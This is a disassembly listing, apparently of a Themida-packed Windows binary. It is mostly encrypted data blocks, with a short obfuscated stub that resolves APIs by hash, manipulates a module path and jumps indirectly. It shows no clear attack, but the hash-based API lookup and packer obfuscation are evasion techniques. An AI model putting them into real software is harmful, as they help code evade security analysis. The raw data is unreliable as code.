		dd 61F505A6h, 0EED201F9h, 63E5DB0Ah, 0F89F34C2h, 636E1224h
		dd 12C1438Eh, 555A7385h, 7E37C77Ch, 0E8B69A1Ch,	0A4C8E8DBh
		dd 156F1828h, 0D702EFE9h, 761A962Dh, 5DD15352h,	0DE18ACCAh
		dd 0A9FE2505h, 7A02953Eh, 0CFD6029Eh, 28CA5D86h, 0C10CEC9Bh
		dd 2D2C3640h, 0FFD471A4h, 11339DC1h, 0AFD8626Fh, 0CD056955h
		dd 0A7305037h, 0AC30599Eh, 0D1FB8720h, 0E32FA42Fh, 0B010329Bh
		dd 44B9E80Ch, 0C112CA5Dh, 2E922ED6h, 1935D6A6h,	0DDB9693h
		dd 0CA5D9D16h, 4D35626Fh, 5C836F87h, 0B5CA5D9Dh, 0B5D9D7ECh
		dd 5D9D1211h, 62576BCAh, 0EF4827D1h, 9030576Ch,	7B85502Ch
		dd 9475640Ch, 555ECA5Dh, 0E50AC3AFh, 5D93E201h,	5D663BCAh
		dd 0EC16BB97h, 19D04908h, 0B0009C3Ch, 0E78DC676h, 0B81957F2h
		dd 0DEA98282h, 4C54E407h, 0DCD42EE5h, 0D650674Fh, 715E9AEDh
		dd 0B70D14C0h, 5D66CA5Dh, 0A47A4A66h, 0BCFF2FD8h, 16EE16C0h
		dd 0EDEA863Dh, 83149D57h, 8F432707h, 0D1B68F75h, 0DD0926AFh
		dd 0CA5DD6C6h, 0DD32C431h, 0B5FD4D2Dh, 0C9D9D7ECh, 0BDEB3C02h
		dd 661E6993h, 0F3F2D6BAh, 4CCA5E0Ah, 1BC54D77h,	0E360C1B6h
		dd 53193CB4h, 31B0CA5Dh, 248D4ABAh, 88289B95h, 9D57E9E4h
		dd 0F1078314h, 3CC60B63h, 61852987h, 0CA5D5142h, 0BF81069Bh
		dd 0F015D3DBh, 1A1B80F2h, 0CDE4036Dh, 4F2BCA5Dh, 2F0B7C86h
		dd 0CE3C638Fh, 0C95CA5Dh, 45983EB8h, 844F804Fh,	8DB7203Ch
		dd 4BB9DE67h, 5B145F6Fh, 0D11211B5h, 566BCA5Dh,	7AC1C86Eh
		dd 0E8939236h, 0D7ECCA5Dh, 0A904D0B0h, 1BF142Eh, 0B9BDB4B1h
		dd 5E13160Dh, 72626FCAh, 8CFB3061h, 8F1E42FEh, 0B1D66F95h
		dd 0FCE805CFh, 0CA5DD9E5h, 625E753Eh, 682FD5FEh, 81B0009Ch
		dd 731B980Bh, 8F4A3661h, 25388276h, 0D0033EC3h,	7554E0F0h
		dd 0E37F770Bh, 8710329Dh, 0F8F1E1FDh, 47E024DCh, 725C787Ch
		dd 2222AED2h, 45A421E2h, 502CD008h, 90AA2782h, 52895443h
		dd 9B91E2F2h, 0B61BC84Ch, 0B1D7CEFAh, 0A330CA5Dh, 38C804F4h
		dd 1ECAE6CAh, 0CA5DB207h, 13815360h, 93D98C13h,	94404047h
		dd 55DBF86Dh, 0E6F8CC46h, 59576C02h, 5B2CE6F5h,	7D59F5A1h
		dd 0F0CAC0C7h, 6CF9BDECh, 0EFA5B9F6h, 783E30D0h, 6C547F54h
		dd 2AC8BF64h, 0E44193A9h, 0DABDC8Fh, 203CDB1h, 0CD80DE05h
		dd 790431Ah, 57B52371h,	99361AD2h, 0F458586Bh, 5CE26DEh
		dd 1438F892h, 2FE89BBh,	0A8B71BD6h, 1C26366h, 0C19D23B0h
		dd 0DBA9EE14h, 68775B3Fh, 0C1C26366h, 0CBB9E4F0h, 0E4D95E78h
		dd 0B105CFB3h, 0BB51E24h, 95DB656Fh, 64ED073Dh,	45298533h
		dd 617D778Dh, 0A029CB71h, 998C6433h, 0E8C26397h, 970120C4h
		dd 495AC263h, 0B81C843Eh, 0C26397A9h, 0E222B102h, 0CD27DDF6h
		dd 0E51F25B1h, 98A8244Ch, 8259E85Ch, 36713D5h, 0F2BB39CBh
		dd 2121B8A5h, 9173913Dh, 27B1CFB8h, 0CBF7931Dh,	0C26396D4h
		dd 97F3A42Dh, 0D0CFF397h, 29C26396h, 0C711EF98h, 3317733Dh
		dd 69F659Fh, 6396C3E2h,	0E9871CC2h, 17B054EEh, 68F21470h
		dd 28EF6964h, 1ABE09ABh, 0C263D20Bh, 0FC844F64h, 1EA231D3h
		dd 296E9642h, 0FBD77317h, 24A25641h, 39CA5DE7h,	0BE727155h
		dd 0F6CBBA69h, 0CDB191h, 0B2160202h, 0BA69BEB3h, 0B70CB70Ch
		dd 9B47634Bh, 0BA69BE84h, 0B5C3D4DDh, 73D961Bh,	66A46BCh
		dd 305037CDh, 79B34AA7h, 2D5E664Ah, 7A9100A6h, 2E128007h
		dd 7ACB37A6h, 7460FFE9h, 0BA694E6Dh, 0C1C6FDC6h, 3EC212DBh
		dd 773B3910h, 0AC2E5443h, 0B839688Ch, 4192CA5Dh, 0FDA62E92h
		dd 0A40F4077h, 3334B106h, 0CE14A9A1h, 5E0BFB2Ah, 547F54CAh
		dd 35197543h, 5721669Ch, 0D2580EE9h, 0C50DB300h, 7E2E3D2Dh
		dd 1DE7B002h, 0BF189141h, 44537F85h, 32A12ACAh,	903B1FA1h
		dd 0C569296Eh, 0BF1F2EFDh, 0F786184h, 616E120Dh, 0FCEB4E3h
		dd 0AF241EADh, 0E45E6D11h, 116D49B3h, 0A34D3AC0h, 0CA5E2478h
		dd 43E97h, 0AC48F8D4h, 0D232A938h, 33D30004h, 0AD1131A8h
		dd 5E241A49h, 395E73CAh, 95850554h, 909605h, 12D60000h
		dd 241B4AAEh, 8672CA5Eh, 0CA5E245Fh, 0FAC7EBB8h, 8A676B8Dh
		dd 0B54CB94Ch, 44466455h, 0D4C0448Fh, 63A15B78h, 0D1140BB7h
		dd 646DCA5Dh, 5150286Fh, 68CA5DD1h, 4430D46Ch, 0B87D7789h
		dd 47A1AE2Dh, 0A0A7F793h, 0F1F7C5CAh, 5AF2F1F7h, 234BCA5Dh
		dd 5A2D96A8h, 3A986883h, 1FA2A203h, 9340740Ch, 6A4BA52Dh
		dd 355EC78Ch, 6408A862h, 47B1D66Eh, 0CA5DB058h,	665DE7EFh
		dd 0B4F07A4Ah, 9FEA127Bh, 4DA4DF6Fh, 4F388B03h,	0FFFF3030h
		dd 6E126CFFh
		dd 0C9B7E064h, 12A8F40Eh, 0B7E0646Eh, 0A94D714Dh, 0CA5E247Ah
		dd 8399FED3h, 0E1636E12h, 0D7E68A23h, 85582A5Dh, 2D96A823h
		dd 4AAE125Fh, 0CA5E241Bh
dword_622D20	dd 40C00C74h, 98D8EBC4h, 0F694033Dh, 79FEDF16h,	0C9310895h
					; DATA XREF: ___:off_444534o
		dd 8F000000h, 3D24483Fh, 188BB07Ah, 4BCE8589h, 212854Eh
		dd 0E0646E12h, 880F09A0h, 6AB5BB82h, 0CD578BDFh, 0EF15BDC3h
		dd 0D0D4DCE4h, 2911AFC9h, 12A27225h, 5E23BFE6h,	0A33A16CAh
		dd 7C241E69h, 5E244958h, 0C211A2CAh, 6A00B6FEh,	91CBA823h
		dd 0A907BC46h, 5DBE263Dh, 65327FCAh, 4AAE122Fh,	0CA5E241Bh
		dd 669EA632h, 0ABDCE5CDh, 3ECDB10Dh, 12819304h,	241B4AAEh
		dd 4586CA5Eh, 8750C854h, 60277C36h, 9C37B220h, 0D2F6A262h
		dd 0CA5D4CD3h, 442C972Ch, 0B47D7789h, 11BDA11Fh, 1270A4F3h
		dd 241B4AAEh, 5F74CA5Eh, 0A42C9038h, 0DD09CBDEh, 0CA5D96C6h
		dd 2F42921Fh, 3E5E291Ah, 0DF656E12h, 88C7B8h, 85E90000h
		dd 0C9CBBC76h, 0FA26AE12h, 0B31C3D78h, 0C4A5BC2Ch, 0B5FECA5Dh
		dd 0BB1DA0E2h, 0B6D6ED17h, 0E2626E12h, 42FE8922h, 5E248F96h
		dd 6470D0CAh, 448F18DCh, 4AF2E07Ch, 0A67621AAh,	1B4AAE12h
		dd 74CA5E24h, 2488385Fh, 9A049F9Ch, 28010339h, 67CA6C9Ch
		dd 9932D26Ch, 12375D2Ah, 21E3616Eh, 0D101FF88h,	0E7F1FCD8h
		dd 0C50E975Dh, 5CEB20Eh, 5B2C05FFh, 606E1239h, 3D8720E4h
		dd 33259614h, 1C24733Ch, 52F2DC80h, 6E124F45h, 0C3B5E262h
		dd 1610A734h, 6E6703ADh, 18AB5181h, 0B84453DCh,	0BDB1D4DCh
		dd 80902A90h, 2A8D9440h, 0DDE6CA5Dh, 2A1F46AAh,	9A36CA5Dh
		dd 2A746B57h, 4CDCA5Dh,	8D4935CFh, 3AC97D77h, 8A36B29Fh
		dd 9A5AEAE6h, 0DC666F11h, 87B732ABh, 2AA0BF23h,	0A8F9CA5Dh
		dd 0FD0AA1DFh, 5D29CAD9h, 577B23CAh, 0CA5D2A48h, 10C310A1h
		dd 0C9763E02h, 0A6A56C05h, 28AC4453h, 99CA5DF8h, 5DD7362Dh
		dd 91428FCAh, 6A874B2Fh, 5DD7677Eh, 0E0F3C0CAh,	0E80C34A0h
		dd 0C647385Fh, 69FFFFE2h, 4B3CF605h, 636E1249h,	0E68A23E1h
		dd 10995BE9h, 0A4597987h, 501177D2h, 951BA857h,	61D6CDF9h
		dd 4F2FCA5Dh, 0B37C7882h, 131B7720h, 62544B77h,	24ADCA5Dh
		dd 6DC98F73h, 8720E45Eh, 882C743Ch, 926DB772h, 7CA34F71h
		dd 0D5CA5D8Eh, 0A1FDBBCCh, 0F7DB14BDh, 0CA5D8DE8h, 34637041h
		dd 57B64EBCh, 0DEF753D2h, 4047E024h, 53F1DE82h,	0AD704080h
		dd 3D844A3h, 6753B1D6h,	0BD37C903h, 0B70C36A1h,	73F528D0h
		dd 0BB14C263h, 788F6B89h, 38246BEh, 0AB8B6BE8h,	8FF802CFh
		dd 61F013D6h, 33026F31h, 6C746B57h, 4CDC263h, 1AE493h
		dd 28440000h, 857193ADh, 7E09BA48h, 0AD19Eh, 0DFEF0000h
		dd 404E8Bh, 8B91F679h, 0FEEAFEDCh, 0CA5E23E7h, 0C40D7340h
		dd 0D6EDC63Eh, 0AA5A76DAh, 0EFBFDBDDh, 3521038Ch, 83B91A9Fh
		dd 6C1BA881h, 57CE0604h, 64710DD2h, 368D26DEh, 9D3A167Ah
		dd 34C48D67h, 0C263B92Dh, 55EFEA86h, 3AD16AFh, 63B8C0DFh
		dd 0FF8819C2h, 1AB59985h, 54430CE8h, 5F83AE24h,	0C263B940h
		dd 0F5BB0899h, 27C47959h, 0D4D826CEh, 34DEA91Ah, 5AE2F08Ch
		dd 0E466C32Dh, 4529C263h, 0EC0C7B89h, 7BAA4EE3h, 0D4C263E3h
		dd 0E4ECD4FFh, 2C9EF0DFh, 79197E02h, 90299B5h, 0FCDA1471h
		dd 0F7FDC6FFh, 0BE17692Eh, 1D679C85h, 4D767E26h, 32CC0763h
		dd 0F68EF9D2h, 9CA8264Ah, 242052EBh, 7F5B99ABh,	984AAA54h
		dd 2781CE0Dh, 2E732B73h, 0F0B3BAA0h, 0F0FD24D0h, 4D56C263h
		dd 0F848A33Ah, 0F1313094h, 398AC263h, 4CA5324Eh, 0AA838183h
		dd 57F39719h, 6B44C07Ah, 63F1667Dh, 0A5F2BFC2h,	816549E5h
		dd 0C263F162h, 5FA1E6BBh, 140BB774h, 6DC263F1h,	2D516F64h
		dd 0C962A2A0h, 0FCC4FCBEh, 6F88469h, 0FDFB8C06h, 52F0DDD2h
		dd 0B61B3F81h, 0B8DF688Ch, 0AF557E02h, 41AE2955h, 9F656E94h
		dd 643A61Dh, 31A1BD83h,	0AE17C0Bh, 8BB9163Ah, 0DCD1FCFCh
		dd 9B54FF1h, 6360C6DDh,	41921FC2h, 84522E92h, 0C66A1780h
		dd 11CF7EFEh, 0A430AB2Bh, 4CF589Ch, 8EDF8193h, 0E2061579h
		dd 0E5B2527Eh, 28E12h, 6E125200h, 0A4E4E065h, 12C7C69Bh
		dd 22B4D6C1h, 400CEh, 78149C27h, 5D2F554Ch, 9B25AECAh
		dd 5D2F2837h, 673081CAh, 0BCE61235h, 19CA5E23h,	1F689A35h
		dd 706F530Bh, 0C9CA5E24h, 0DA1A28A5h, 6F518251h, 2478A74Bh
		dd 0EDD1CA5Eh, 5E23DA09h, 359E33CAh, 6E123262h,	8C25DF65h
		dd 0FD613DFBh, 0FAD331D3h, 6E12878Dh, 0FF26D25Fh, 58CA5E23h
		dd 560F784Bh, 0EC4A88Eh, 128B91F6h, 0B3E4606Eh,	1E50AC5h
		dd 0CA5E23E2h, 24968D39h, 0E2EFCA5Eh, 0AA5280E0h, 6E52814Ah
		dd 5E245B8Ah, 0B41FB4CAh, 0DF59700Ch, 19FB8C25h, 4CFEC212h
		dd 8CAC04F9h, 995BD5E4h, 21FD8710h, 2374AE3Dh, 0FA01DCF1h
		dd 0B977EEB6h, 39440E2Ah, 2153994Ah, 0C1C6FD78h, 4CC212DBh
		dd 25DFF37Ah, 707E46DFh, 1822AFD0h, 922EDCABh, 0E49BCA2Eh
		dd 6F2CA5Dh, 0CA5DE3DFh, 7A476B38h, 6E12070Dh, 8720E460h
		dd 792C0D00h, 3C200895h, 0BB947090h, 0C32BCCh, 12690000h
		dd 0D994DEC2h, 0A8C8A700h, 57F0142Ch, 69835A30h, 5DF0667Dh
		dd 0E2F2BFCAh, 86DA821Fh, 3D83500Dh, 0D3533275h, 40478A6Bh
		dd 4AAE125Ch, 0CA5E241Bh, 249EA632h, 5EE4F18Fh,	0BE7A0DA6h
		dd 0B1ABEE2h, 64CA5E24h, 0B1B0484Fh, 8CA5E24h, 1ADA6A64h
		dd 143C0691h, 0E46D87B9h, 9101D1EFh, 0B3770A86h, 12E6B6E1h
		dd 0B8DF656Eh, 0AE128008h, 5E241B4Ah, 385F74CAh, 735F8A48h
		dd 0CA5E246Ch, 1228A9C5h, 12AE12C1h, 20E4606Eh,	24426187h
		dd 69BCA5Eh, 31D3696Ah,	122DEF98h, 241B4AAEh, 5F74CA5Eh
		dd 0A42C9038h, 0AEE290A3h, 0FD1F68BAh, 1B4AAE12h, 74CA5E24h
		dd 0B047385Fh, 69000000h, 5037CD05h, 616E124Ch,	11339DE3h
		dd 0B3B98486h, 19206E03h, 4B854F5Eh, 0AE61CCC4h, 203C844Fh
		dd 14088F89h, 0CF08C212h, 689EEC03h, 217D211Fh,	5C4A597Dh
		dd 0EA3CA5Dh, 5D5BBBEAh, 0BFE612CAh, 18CA5D5Ah,	8B47278Bh
		dd 0BB356271h, 0CA5D5BA4h, 49DBCDE5h, 1F2431CCh, 0AE12E8B4h
		dd 5E241B4Ah, 3A6074CAh, 235DF13Bh, 7B9DEF5h, 0F40EC7A3h
		dd 4C503710h, 0E4606E12h, 8720h, 0A43317D2h, 37C18A6Ah
		dd 0CA5E2428h, 0F9A33081h, 0E55F6E12h, 504F731Fh, 0A9CA5E24h
		dd 0E4DCAB18h, 0F1F0D4B8h, 48CA5E23h, 5E24859Ch, 0EDD5DECAh
		dd 12E1B3E4h, 0B52CBAC2h, 65323112h, 0FFFD6912h, 0F9DA76FFh
		dd 12405443h, 0DEE2626Eh, 5E23EBFAh, 286F44CAh,	0A44FDD8h
		dd 0E504090Bh, 0F559576Ch, 5CE26DCh, 324EEA92h,	0CA63A19Bh
		dd 0DB10BBBDh, 5E17E8F7h, 637041CAh, 676B0FAFh,	0F28E17DDh
		dd 0E975DE7h, 0B2B78189h, 35E7C60Eh, 9909EEEAh,	0E44A8E01h
		dd 7B05CEE5h, 7A53B153h, 0EB8F2B0Dh, 0BB3562DCh, 0D2583971h
		dd 1DCAA62Eh, 741970Dh,	0FADEC280h, 0C26337EBh,	5C646F44h
		dd 5E29D300h, 382F32A6h, 0E4D4C263h, 0E5B24A88h, 3F2EE1F8h
		dd 91026F6Dh, 3562E0EDh, 67C2h,	0C212C200h, 0DEB219B7h
		dd 7B8FF8EBh, 0B64C89DDh, 0CC7A30Dh, 0F793A5F2h, 3F302F93h
		dd 8D47CA5Dh, 15824F73h, 5774755Bh, 0C8066AD2h,	0A8EFB83Ch
		dd 4FEB099Ah, 38C20F6Bh, 0DE05F3BCh, 37C26309h,	48531D6Ah
		dd 0EDC2630Ah, 5A896D51h, 0B3C2630Ah, 0EDEC791Eh, 6E9F4B1Ah
		dd 41951D02h, 6F23A2F1h, 0D8CD2A5Dh, 0C7000001h, 0DF656E12h
		dd 0FDFB8C25h, 0EC9030D2h, 43C10EE3h, 0ACDB7490h, 0CE086450h
		dd 0A2F5BE36h, 0E4CC7856h, 24051CC8h, 555ECA5Eh, 339EBA42h
		dd 9F213BEh, 4F55A488h
		dd 2D934093h, 7A7A8051h, 821EE6B1h, 0EFFEF3DEh,	0CDF6CF35h
		dd 7F99E27h, 468E32CCh,	0F7E0BADDh, 30DAAD24h, 99C82C90h
		dd 0F2CA5E1Ch, 6B42B6E1h, 32CA5E20h, 8381834Eh,	0FA0AC6AAh
		dd 1A6631FAh, 733B85BFh, 8685B3E8h, 118106AFh, 0C40DE2EDh
		dd 0D6EDC63Eh, 0AD6776DAh, 2C0DF03h, 8819CA5Eh,	0F59985FFh
		dd 5E02D2D1h, 0F1962BCAh, 0BB273F19h, 0CA5E03A4h, 0A11FB4FDh
		dd 0F57A9C11h, 0D8F3E7A6h, 4EEA9D26h, 5788A4AAh, 8C5A9D2h
		dd 0B23F25FBh, 6B58B83Eh, 0EBD7C089h, 91B54E83h, 9C46B228h
		dd 0B8917360h, 201DA50Bh, 0DD91717Ch, 0CB45E29h, 3C1D44B0h
		dd 9F34C263h, 43545D65h, 795D793Fh, 0C2633C6Ah,	0DBE5EEC3h
		dd 56AE687Fh, 922E0A7Dh, 3C9BCA2Eh, 0CCF4C263h,	633BF928h
		dd 528152C2h, 7CF1AB45h, 6CECA60h, 8E33D2B0h, 0DDDDAA99h
		dd 4390ECD4h, 25723BB9h, 37137713h, 0BA4609Ah, 65BDC6DDh
		dd 2E921FBAh, 65BE9BCAh, 0B8DFF4BAh, 0BAF60EC8h, 0EB093B96h
		dd 99D53562h, 0E61EB43Dh, 8B3E460Eh, 0A091A841h, 81834D33h
		dd 8819AA83h, 0CEAD8907h, 418976CEh, 7B000005h,	1757AB55h
		dd 6D9181BBh, 522EE45Eh, 67877B81h, 973DD56Fh, 5BE9E56Fh
		dd 0F30DC7A7h, 4CF6DF1Fh, 0E51FBAB6h, 0B216AA2Dh, 0C25C09B3h
		dd 0D2AA6A0Ch, 19EC0104h, 6FE5AF65h, 0D6005C64h, 0C5A9692Eh
		dd 1A28A50Ah, 3E8251DAh, 0DC208D76h, 0BB8252F2h, 0A86235CCh
		dd 876A6408h, 0E70DB670h, 6F76625Eh, 0C8CA5D7Bh, 12888CFBh
		dd 21E3616Eh, 27C0BE89h, 953EB01Ah, 4F98C72Bh, 0E0F1CA5Dh
		dd 505D3B7h, 7E1C0D9Bh,	0B9F7CC41h, 25F2F1D5h, 9D49CA5Dh
		dd 0CA5D2686h, 0E3F0D2DFh, 9731FEF1h, 0D3C48680h, 451301E5h
		dd 0B808D258h, 68496042h, 32D0FD75h, 0BDCAF9D2h, 0CC7661FDh
		dd 3C95B9F7h, 3265EE06h, 4792EECAh, 1ED66E6Ah, 9F593E95h
		dd 0C2632E7Ch, 0F2120C9Bh, 0B73DF706h, 0DA6A81F8h, 632DF7EEh
		dd 508350C2h, 6D660AB6h, 2E0120C4h, 495AC263h, 99500D7Ah
		dd 6F73E776h, 3A95B902h, 7F007F08h, 20000001h, 2473AD3Ch
		dd 3EC212F0h, 6D4139B8h, 2B4184Ah, 2ED054D2h, 2FBC1769h
		dd 0CD669E98h, 3996BAF6h, 3760E90Bh, 6BE1F1CDh,	2BC624F6h
		dd 69659304h, 51B34D88h, 9654B78h, 996334CEh, 5DA27635h
		dd 0B7213DCAh, 0D3FEFA8Dh, 844FF5DEh, 0D49D743Ch, 0D830CA3Ch
		dd 0FF5B63AFh, 2CB29D3h, 0F7E41CD2h, 4A3D85B9h,	6A8EA32Eh
		dd 0CA5E193Bh, 70943F94h, 0E5FCE8C4h, 3ECA5E18h, 5AE02275h
		dd 9F34D0FEh, 6F953D21h, 18741828h, 5E19B5ACh, 0D2C50ECAh
		dd 582A301Eh, 6B5737D2h, 0C2640874h, 40EB05CDh,	0DC5D2E6Ch
		dd 78D4DCE7h, 7F85525Fh, 9917AC85h, 638D362Dh, 55428FC2h
		dd 7B55F9B5h, 0EECCBEC9h, 0BA09039Ah, 1F0A9AF6h, 1B738A9Dh
		dd 0FD46AADDh, 98CA6153h, 0D9D1D0F4h, 992ABA66h, 8D8054EEh
		dd 125104FCh, 96ACBFD0h, 0E4EFF38Dh, 1EADD1EFh,	4047E024h
		dd 93401C80h, 0D5C28B69h, 0DC62BA3h, 9F34FDF7h,	4A03CB73h
		dd 849AC7EBh, 0EFE7197Eh, 73219056h, 21B28E16h,	0AC40F590h
		dd 5380E0CEh, 318h, 887A8252h, 40D26A68h, 0A36FA940h, 36CC765Bh
		dd 9A689C3Ah, 0CCA8AACh, 0EAE60AF8h, 0FC8A85Ah,	0F6E11DF5h
		dd 0AD13B64Ch, 5C071A49h, 11173C2h, 0DF656E12h,	0A30EC8B8h
		dd 53DC182Ah, 0D2AE9280h, 69970004h, 0D0ECD46Eh, 5E23FD24h
		dd 234D56CAh, 0A2F097A9h, 0EC10C29Eh, 0AE12799Bh, 23BFE612h
		dd 8B18CA5Eh, 5E24465Dh, 6E129FCAh, 0C3B5E262h,	182AA308h
		dd 0C5A905ABh, 30F9FB09h, 5E2499C8h, 34E2F2CAh,	0C608EFAAh
		dd 0A460279Ch, 313094F8h, 8ACA5D39h, 0A7324E39h, 4D768E4Ah
		dd 31CB0763h, 5876FAD3h, 592FDBACh, 57487B7Fh, 55AF5581h
		dd 9FD8487Ch, 0CFAB15BEh, 1EFAFA04h, 5DBEABBAh,	24AF04CAh
		dd 0D9E9C573h, 0D41C4653h, 0BCE30F5Ch, 15CA5D6Eh, 0A850378Ch
		dd 0D2579E8Eh, 0F760F3BBh, 0B45737FDh, 63D41110h, 6A596AC2h
		dd 2C941D1Dh, 797B8550h, 0B5D9E7B0h, 0CDC61CEDh, 2B5CA36Ch
		dd 2581824Dh, 15D59EF8h, 78149C27h, 63CE554Ch, 0E612AEC2h
		dd 0C263CDBFh, 4F388B18h, 339FFBC3h, 0C263CE2Ch, 2D4B3C85h
		dd 0E4F18DA2h, 0CE8B9A5Eh, 0CFE4C263h, 34A0BC04h, 15017B0Ch
		dd 0CE564D79h, 22AFC263h, 0BECB8D75h, 0AD77D602h, 0E080CA65h
		dd 1EA74DF7h, 0C917FCB5h, 66BECEB0h, 1B779h, 59E3F100h
		dd 0F70DC5A9h, 5AD4E30Bh, 0F10BC8A8h, 53F1DD21h, 67ED15BFh
		dd 413DD56Fh, 59956D97h, 343CC67Ch, 0AC9B6799h,	5BDE410h
		dd 4016C25Ch, 656E123Ch, 470090E0h, 15BEC6DAh, 9EBA8082h
		dd 5DE72B3Ah, 0A42F84CAh, 6F96401Ch, 0DF5206BDh, 7D0AB94Fh
		dd 17BBDFBBh, 0CA5D8608h, 0B1475061h, 0D25F6656h, 32C80965h
		dd 0B48EF9D2h, 0D5FE06CCh, 0BA448FEBh, 0C70F713Ah, 0A9EEB73Dh
		dd 775B3FDBh, 0C25BA768h, 59A7F0C1h, 2C4AC57Eh,	0D9E5ED4Bh
		dd 0FEEAC6EAh, 0C25B69E7h, 8DB72040h, 0FDC15136h, 37F516B5h
		dd 5F28F024h, 9D39B621h, 0FC48D67h, 3E3321B1h, 0E460366Ch
		dd 516D49B3h, 5BB67EA5h, 0BDCAD7C2h, 0B3BCCD33h, 0F35A2DEh
		dd 38F209F5h, 6584FDBCh, 724EF2E8h, 3AF5F86h, 1A7BCAA6h
		dd 0FBE73966h, 0B6DAEAB7h, 0B39D8109h, 0DB8215h, 8DB71C40h
		dd 32D3FEFAh, 0DF620147h, 862A99CAh, 9E56EEEAh,	28088215h
		dd 1F416084h, 99AA604h,	0AD57827Eh, 0A34F6B47h,	0A6041F7Ch
		dd 0BDBBCCD5h, 0AED2EE14h, 9732420h, 0C50EE3EDh, 8470943Fh
		dd 753ABA4Ah, 4E47168h,	26DEF458h, 0CB9205CEh, 11A03010h
		dd 2EFB48EBh, 79F2BFE2h, 3D93514Bh, 3C504F73h, 18A9A603h
		dd 0BC46916Fh, 1E46ACF4h, 0E2944275h, 4FEBFADEh, 6F44A603h
		dd 0EAC66A28h, 34FE7FEh, 746040A6h, 0A603506Dh,	0C1C6FDC6h
		dd 73D714BFh, 824BA95Bh, 3506F76h, 0C8FBC8A6h, 0BA4A84E8h
		dd 1D422FCDh, 66000000h, 53EF805Eh, 2FA5C1C9h, 0A835BE20h
		dd 0DDBFC8C4h, 0DF656E12h, 0E78329B8h, 564651EBh, 0FAFA02D2h
		dd 0B351F3DEh, 10F40EC7h, 9C58E8E4h, 16EE16C0h,	9C58ECEAh
		dd 0BE913C0h, 0A65ED8EFh, 20E418BAh, 0E6895672h, 4C681h
		dd 0EE810000h, 4, 5C243487h, 51242C89h,	0C181E189h, 4
		dd 4E981h, 0C870000h, 4895C24h,	0E2895224h, 4C281h, 0EA830000h
		dd 24148704h, 241C895Ch, 1E1E768h, 24048B08h, 4C481h, 50680000h
		dd 89000062h, 4812424h,	424h, 0BA525B00h, 8, 0B951DA01h
		dd 0
; ---------------------------------------------------------------------------
		add	ecx, edx
		mov	[ecx], eax
		pop	ecx
		pop	edx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		mov	eax, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_5A99E0
; ---------------------------------------------------------------------------
		db 0EDh
; ---------------------------------------------------------------------------


loc_623C52:				; CODE XREF: Themida_:0061FC28j
		mov	eax, 80220BDh
		add	eax, ebp
		push	eax
		mov	byte ptr [ebp+7FA1571h], 47h
		push	0CF381725h
		push	dword ptr [ebp+7FA1229h]
		lea	eax, [ebp+7FA3B93h]
		call	eax	; _adjust_fdiv
		mov	ebx, eax
		lea	eax, [ebp+7FA2F19h]
		push	eax
		push	104h
		call	ebx	; _iob
		mov	byte ptr [ebp+7FA1571h], 53h
		push	8307F8BFh
		push	dword ptr [ebp+7FA1229h]
		lea	eax, [ebp+7FA3B93h]
		call	eax	; _adjust_fdiv
		mov	[ebp+801DFACh],	eax
		cmp	dword ptr [ebp+7FA09EDh], 0
		jz	loc_623CBC
		mov	ebx, [ebp+7FA1AC5h]
		jmp	loc_623CC1
; ---------------------------------------------------------------------------


loc_623CBC:				; CODE XREF: Themida_:00623CABj
		mov	ebx, 0


loc_623CC1:				; CODE XREF: Themida_:00623CB7j
		push	100h
		lea	esi, [ebp+801DFB0h]
		push	esi
		push	ebx
		call	dword ptr [ebp+7FA03A5h]
		lea	esi, [ebp+801DFB0h]
		add	esi, eax
		jmp	loc_623CE2
; ---------------------------------------------------------------------------


loc_623CE1:				; CODE XREF: Themida_:00623CEEj
		dec	esi


loc_623CE2:				; CODE XREF: Themida_:00623CDCj
		cmp	byte ptr [esi],	5Ch
		jz	loc_623CF4
		cmp	byte ptr [esi],	2Fh
		jnz	loc_623CE1


loc_623CF4:				; CODE XREF: Themida_:00623CE5j
		mov	byte ptr [esi],	0
		lea	eax, [ebp+801DFB0h]
		push	eax
		call	dword ptr [ebp+801DFACh]
		pop	eax
		jmp	eax
; ---------------------------------------------------------------------------
		db 57h
		dd 0E5284278h, 0D77CA93Bh, 5C3DD01Fh, 0EC087A02h, 4B230F21h
		dd 3353B836h, 0BA09CA09h, 0DB686148h, 0E87BA3FCh, 14h
		dd 6B8341E0h, 2FEDAA74h, 0CAC64CC7h, 0BBBE3Ah, 5CFEDCB7h
		dd 60605159h, 11E961h, 0C11D0000h, 76D10567h, 88AA21A4h
		dd 0AE8CB620h, 612FDAF3h, 0C8C18158h, 0F00006Ah, 28Eh
		dd 0BBC78B00h, 4439F1E7h, 2897C381h, 0FB8BBBC6h, 816631FFh
		dd 5AC762C7h, 128D0Fh, 0AE80000h, 4000000h, 0F090BFB8h
		dd 23268951h, 5E6160FDh, 54DCF281h, 0EF8100EDh,	1CF434Bh
		dd 944F281h, 81FC29CBh,	0EF7DF8F2h, 7E95274h, 4A000000h
		dd 1C48FE30h, 18F13C7h,	0AE8h, 0AC131100h, 90E58669h, 0F28FAA6h
		dd 80h,	0E9815F00h, 7CB6F2FEh, 68D0Fh, 0F0810000h, 100590EFh
		dd 0F2FAC181h, 8B0F7CB6h, 0
		dd 0F01EB83h, 0FFFF7B85h, 0C0BF0FFFh, 23BD8D8Dh, 6A0802h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
		dd 773B92C3h, 0E9D8B4C9h, 0Eh, 13335250h, 84189196h, 0C421B6CFh
		dd 0DE992D9h, 4C000000h, 0E82B4E01h, 0AC69E27Eh, 0BEC1CFFh
		dd 27C18D89h, 0EBF07FAh, 0C7716638h, 0FA1C0185h, 5FC007h
		dd 72BF6600h, 0ED85C77Eh, 7FA1Ah, 6A000000h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h
		dd 9235C350h, 8514428Dh, 89BD8991h, 0FF07FA17h,	0FA28C5B5h
		dd 8B665707h, 0C28B5EDAh, 177D95FFh, 0BD8B07FAh, 7FA31B5h
		dd 12C9858Bh, 6A07FAh, 12D95FFh, 0C08B07FAh, 0B8627AEBh
		dd 6F09DA7Dh, 0C106DBF8h, 8C2433Ah, 0F86549B9h,	0B503811h
		dd 1CA13CCEh, 0C7859AEEh, 8AD66222h, 0A8E99B3h,	0DBE7900Ch
		dd 0AB99B6F7h, 50EEB2C3h, 1E249E21h, 9CB740E3h,	0E8D1FF57h
